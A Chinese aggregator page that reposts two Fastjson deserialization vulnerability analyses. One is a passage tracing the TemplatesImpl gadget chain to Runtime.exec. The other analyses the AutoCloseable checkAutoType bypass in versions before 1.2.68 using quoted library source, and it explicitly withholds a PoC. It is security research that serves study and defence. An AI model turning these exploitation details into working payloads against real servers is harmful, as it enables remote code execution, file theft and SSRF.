 匹配出@type标志以后,将会继续向后扫描json字符串,即取匹配相应的值,这个值也就是我们想要反序列化的类

 继续往下走,将调用deserializer.deserialze函数来处理反序列化数据,此时deserializer中已经包含了要实例化的templatesimpl类,

跟进此函数,则可以看到此时token为16并且text为我们的payload

 接下来会调用parseField函数来对json字符串中的一些key值进行匹配

 这个方法里面会调用smartmatch来对key值进行一些处理,比如将_bytecodes的下划线删除

 当处理到_outputProperties字段时,步入其smartMatch方法

 此时在FieldDeserializer中将会调用setValue方,此时将会在其中调用getOutputProperties()方法,因为存在OutputProperties属性

 

 此时在TemplatesImpl类的getOutputProperties函数中将会调用newTransformer().getOutputProperties函数,在newTransformer函数中又调用了getTransletInstance()函数,

 

 这里首先判断_name字段不能为空,这也是为啥payload里面会设置一个_name字段

 接下来就会调用newInstance()函数来实例化对象了,可以看到此事要求实例化的对象时AbstractTranslet类的,那么只需要让我们的payload中的类继承自该类即可, 

可以看到此时_transletIndex为零,因此此时实例化的就是我们构造的恶意类,

 

缩减后的整个调用链即为:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

参考:

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

https://www.freebuf.com/vuls/178012.html

https://www.anquanke.com/post/id/173459#h2-10

http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

原文出处:https://www.cnblogs.com/tr1ple/p/11431543.html

Fastjson < 1.2.68版本反序列化漏洞分析篇

Fastjson < 1.2.68版本反序列化漏洞分析篇

点击上方蓝色“程序猿DD”,选择“设为星标”

回复“资源”获取独家整理的学习资料!

作者 | ale_wong@云影实验室
来源 | https://www.anquanke.com/post/id/219731

前言

迟到的Fastjson反序列化漏洞分析,按照国际惯例这次依旧没有放poc。道理还是那个道理,但利用方式多种多样。除了之前放出来用于文件读写的利用方式以外其实还可以用于SSRF。

 

一、漏洞概述

在之前其他大佬文章中,我们可以看到的利用方式为通过清空指定文件向指定文件写入指定内容(用到第三方库)。当gadget是继承的第一个类的子类的时候,满足攻击fastjson的条件。此时寻找到的需要gadget满足能利用期望类绕过checkAutoType。

本文分析了一种利用反序列化指向fastjson自带类进行攻击利用,可实现文件读取、SSRF攻击等。

 

二、调试分析

1. 漏洞调试

从更新的补丁中可以看到expectClass类新增了三个方法分别为:

java.lang.Runnable、java.lang.Readable、java.lang.AutoCloseable

首先,parseObject方法对传入的数据进行处理。通过词法解析得到类型名称,如果不是数字则开始checkAutoType检查。

if (!allDigits) {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}

当传入的数据不是数字的时候,默认设置期望类为空,进入checkAutoType进行检查传入的类。

final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

判断期望类,此时期望类为null。往下走的代码中,autoCloseable 满足不在白名单内,不在黑名单内,autoTypeSupport没有开启,expectClassFlag为false。

其中:

A.计算哈希值进行内部白名单匹配

B.计算哈希值进行内部黑名单匹配

C.非内部白名单且开启autoTypeSupport或者是期望类的,进行hash校验白名单acceptHashCodes、黑名单denyHashCodes。如果在acceptHashCodes内则进行加载( defaultClassLoader),在黑名单内则抛出 autoType is not support。

clazz = TypeUtils.getClassFromMapping(typeName);

满足条件C后来到clazz的赋值,解析来的代码中对clazz进行了各种判断

clazz = TypeUtils.getClassFromMapping(typeName);

从明文缓存中取出autoCloseable赋值给 clazz

clazz = TypeUtils.getClassFromMapping(typeName);

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz == null) {
clazz = typeMapping.get(typeName);
}

if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;

当clazz不为空时,expectClassFlag为空不满足条件,返回clazz,至此,第一次的checkAutoType检查完毕。

ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;

将检查完毕的autoCloseable进行反序列化,该类使用的是JavaBeanDeserializer反序列化器,从MapDeserializer中继承

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
return deserialze(parser, type, fieldName, 0);
}

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features) {
return deserialze(parser, type, fieldName, null, features, null);
}//进入后代码如下

if ((typeKey != null && typeKey.equals(key))
|| JSON.DEFAULT_TYPE_KEY == key) {
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
if (lexer.token() == JSONToken.LITERAL_STRING) {
String typeName = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA);

if (typeName.equals(beanInfo.typeName)|| parser.isEnabled(Feature.IgnoreAutoType)) {
// beanInfo.typeName是autoCloseable ,但IgnoreAutoType没有开启
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
break;
}
continue;
}//不满足条件所以这块代码被跳过了

JSON.DEFAULT_TYPE_KEY 为@type ,并给它赋值传入的key @type ,将第二个类也就是这次 的gadget传入

if (deserializer == null) {
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
deserializer = parser.getConfig().getDeserializer(userType);
}

期望类在这里发生了变化,expectClass的值变为java.lang.AutoCloseable,typeName为gadget,

boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace(''.'', ''/'') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
//开了一个class文件的输入流
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);//new reader工具
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
} finally {
IOUtils.close(is);//关闭流 JarURLConnection$JarURLInputStream
}

来到JSONType注解,取typename gadget转换变为路径,resource通过将 “.” 替换为”/“得到路径 。其实已经开始读取gadget了,它本意应该是加载AutoCloseable。

public ClassReader(InputStream is, boolean readAnnotations) throws IOException {
this.readAnnotations = readAnnotations;

{
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
for (; ; ) {
int len = is.read(buf);
if (len == -1) {
break;
}

if (len > 0) {
out.write(buf, 0, len);
}
}
is.close();
this.b = out.toByteArray();
}

可以看到这里有读取文件的功能。所以之前网传的POC可能是利用这里这个特性(?)留意一下以后研究…

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
//开始加载gadget
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {//判断里面的类是否为继承类
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

isAssignableFrom()这个方法用于判断里面的类是否为继承类,当利用了java.lang.AutoCloseable这个方法去攻击fastjson,那么后续反序列化的链路需要是继承于该类的子类。

TypeUtils.addMapping(typeName, clazz)这一步成功把gadget加入缓存中并返回被赋值gadget的clazz.

checkAutoType正式检查完毕,此时用deserializer = parser.getConfig().getDeserializer(userType); userType既gadget进行反序列化。

private void xxTryOnly(boolean isXXXXeconnect, Properties mergedProps) throws
XXXException {
Exception connectionNotEstablishedBecause = null;

try {

coreConnect(mergedProps);
this.connectionId = this.io.getThreadId();
this.isClosed = false;

进入coreConnect()

在这里进行连接。至此漏洞利用完结。

 

2. 总结

在本次反序列化漏洞中,笔者认为关键点在于找到合适并且可利用的常用jar包中的gadget。gadget在被反序列化后即可执行类里的恶意的功能(不仅限于RCE还包括任意文件读取/创建,SSRF等)。也可以使本漏洞得到最大化的利用。

 

三、参考考链接

  • https://b1ue.cn/archives/348.html

  • https://daybr4ak.github.io/2020/07/20/fastjson%201.6.68%20autotype%20bypass/


往期推荐

音效摸鱼还不够爽?试试IDE里打几盘魂斗罗?

3折购书优惠码限时抢,第二波书单来了!

面试:知道 CopyOnWriteArrayList 吗?

居然还有人在用 System.out.println打日志的吗?

不错的秒杀系统架构分析与实战!

一个让你敲代码的同时,找回童年乐趣的 IntelliJ 插件


扫一扫,关注我

一起学习,一起进步

每周赠书,福利不断


深度内容

推荐加入


最近热门内容回顾   #技术人系列

本文分享自微信公众号 - 程序猿DD(didispace)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

关于Fastjson反序列化漏洞利用分析fastjson反序列化漏洞原理的问题我们已经讲解完毕,感谢您的阅读,如果还想了解更多关于.NET 高级代码审计(第三课)Fastjson 反序列化漏洞、Fastjson 1.2.22-24 反序列化漏洞分析、fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录、Fastjson < 1.2.68版本反序列化漏洞分析篇等相关内容,可以在本站寻找。

本文标签:

上一篇JSON 之 SuperObject(14): 从 XML 中解析(xml解析json字符格式)

下一篇JSON Server v0.8.12 发布,Bug 修复版本(json_server)